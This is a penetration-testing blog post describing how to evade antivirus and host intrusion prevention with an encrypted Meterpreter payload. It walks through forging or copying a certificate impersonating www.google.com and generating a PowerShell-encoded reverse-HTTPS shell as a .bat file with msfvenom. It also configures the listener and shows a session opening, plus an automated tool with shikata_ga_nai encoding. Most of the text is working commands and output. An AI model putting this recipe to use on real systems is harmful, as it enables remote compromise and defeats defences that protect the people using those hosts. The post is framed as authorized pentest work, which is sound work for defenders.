

Bypassing Antivirus & Host Intrusion Prevention Systems

 pentestlab.blog/category/red-team/page/100

July 26, 2017

The majority of the modern environments contain various security software in place in order to prevent the host of being compromised like an endpoint solution and a host intrusion prevention system. The endpoint solution will scan files that exist on the host for known malware and the HIPS will perform packet inspection and drop any non-legitimate connections.

Even though that these security products provide additional layers of security it is still not enough. Systems administrators often rely in these controls and allow execution of scripts by users which can lead to execution of arbitrary code and eventually system compromise.

For a penetration tester it is possible to bypass these controls by creating a script which will contain an encoded payload and by encrypting the connection to evade the HIPS from dropping the connection. HD Moore documented this back in 2015 as a way to secure the connection by using Meterpreter Paranoid Mode.

Certificate Generation

OpenSSL can be used to generate a custom certificate.

```
1 openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \  
2 -subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \  
3 -keyout www.google.com.key \  
4 -out www.google.com.crt && \  
5 cat www.google.com.key www.google.com.crt > www.google.com.pem && \  
6 rm -f www.google.com.key www.google.com.crt
```

```

root@kali:~# openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
> -subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
> -keyout www.google.com.key \
> -out www.google.com.crt && \
> cat www.google.com.key www.google.com.crt > www.google.com.pem && \
> rm -f www.google.com.key www.google.com.crt
Generating a 4096 bit RSA private key
.....++
.....++
writing new private key to 'www.google.com.key'
-----
root@kali:~#

```

Generate Certificate Manually

Alternatively Metasploit Framework has a module which can be used to automatically create a fake certificate from a trusted source.

1 auxiliary/gather/impersonate_ssl

```

msf auxiliary(impersonate_ssl) > set RHOST www.google.com
RHOST => www.google.com
msf auxiliary(impersonate_ssl) > run

[*] www.google.com:443 - Connecting to www.google.com:443
[*] www.google.com:443 - Copying certificate from www.google.com:443
/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
[*] www.google.com:443 - Beginning export of certificate files
[*] www.google.com:443 - Creating looted key/crt/pem files for www.google.com:443
3
[+] www.google.com:443 - key: /root/.msf4/loot/20170724135035_default_172.217.17
.68_www.google.com_k_886766.key
[+] www.google.com:443 - crt: /root/.msf4/loot/20170724135035_default_172.217.17
.68_www.google.com_c_792018.crt
[+] www.google.com:443 - pem: /root/.msf4/loot/20170724135035_default_172.217.17
.68_www.google.com_p_438686.pem
[*] Auxiliary module execution completed

```

Generate Certificate with Metasploit

Payload Generation

Metasploit MsfVenom can be used to generate an encoded payload (PowerShell Base64) which will use the certificate that it was generated previously.

1 msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.100.3 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat

```

root@kali:~# msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.100.
3 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com
.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pe
ntestlab.bat
No platform was selected, choosing Msf::Module::Platform::Windows from the paylo
ad
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 816 bytes
Final size of psh-cmd file: 7823 bytes
Saved as: pentestlab.bat
root@kali:~#

```

Generating Encrypted Payload

Listener – Configuration

Two additional options need to be used as well when the listener is configured. This is to inform the handler which is the certificate that it will use (same as the payload) and to perform SSL certificate validation when a connection is received.

- **HandlerSSLCert**
- **StagerVerifySSLCert**

- 1 `set payload windows/meterpreter/reverse_winhttps`
- 2 `set LHOST 192.168.100.3`
- 3 `set LPORT 443`
- 4 `set HandlerSSLCert /root/Desktop/www.google.com.pem`
- 5 `set StagerVerifySSLCert true`

```

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_winhttps
payload => windows/meterpreter/reverse_winhttps
msf exploit(handler) > set LHOST 192.168.100.3
LHOST => 192.168.100.3
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > set HandlerSSLCert /root/Desktop/www.google.com.pem
HandlerSSLCert => /root/Desktop/www.google.com.pem
msf exploit(handler) > set StagerVerifySSLCert true
StagerVerifySSLCert => true
msf exploit(handler) >

```

Configuring the Encrypted Listener

From the moment that the payload will be executed on the target host an encrypted Meterpreter Session will open which it will not allow the Host Intrusion Prevention System in place to inspect the packets and drop the connection.

```

[*] Meterpreter will verify SSL Certificate with SHA1 hash 1396916281d38c1a81661
ab5d57148702c59468b
[*] Started HTTPS reverse handler on https://192.168.100.3:443
[*] Starting the payload handler...

[*] https://192.168.100.3:443 handling request from 192.168.100.10; (UUID: tuuk4
m13) Meterpreter will verify SSL Certificate with SHA1 hash 1396916281d38c1a8166
1ab5d57148702c59468b
[*] https://192.168.100.3:443 handling request from 192.168.100.10; (UUID: tuuk4
m13) Staging x86 payload (958531 bytes) ...
[*] Meterpreter session 1 opened (192.168.100.3:443 -> 192.168.100.10:49188) at
2017-07-24 21:24:00 -0400

meterpreter >

```

Meterpreter – Receiving the Encrypted Connection

Meterpreter Paranoid Mode

The process above can be automated completely with the use of Meterpreter Paranoid Mode tool. Full details of the use of this tool can be found on [github](#).

```

[*] Input pem settings ..
[*] Building certificate ..
Generating a 4096 bit RSA private key
.....++
.....++
writing new private key to 'google.com.key'
-----
[*] Stored: output/google.com.pem ..
[*] staged payload selected ..
[*] Building staged payload.bat ..
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 400 (iteration=0)
x86/shikata_ga_nai succeeded with size 427 (iteration=1)
x86/shikata_ga_nai succeeded with size 454 (iteration=2)
x86/shikata_ga_nai chosen with final size 454
Payload size: 454 bytes
Final size of psh-cmd file: 6767 bytes
Saved as: paranoid-staged.bat
[*] Building template ..
[*] Start multi-handler ..

```

Meterpreter Paranoid Mode

Conclusion

The process above was used in a penetration testing engagement and it was possible to evade a fully up to date Antivirus software and the HIPS in place which was refusing the connections. Special thanks to [James Hemmings](#) and [Gabriel](#) who pointed out this technique as a working method.

References

<https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode>

https://github.com/r00t-3xp10it/Meterpreter_Paranoid_Mode-SSL

<https://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation>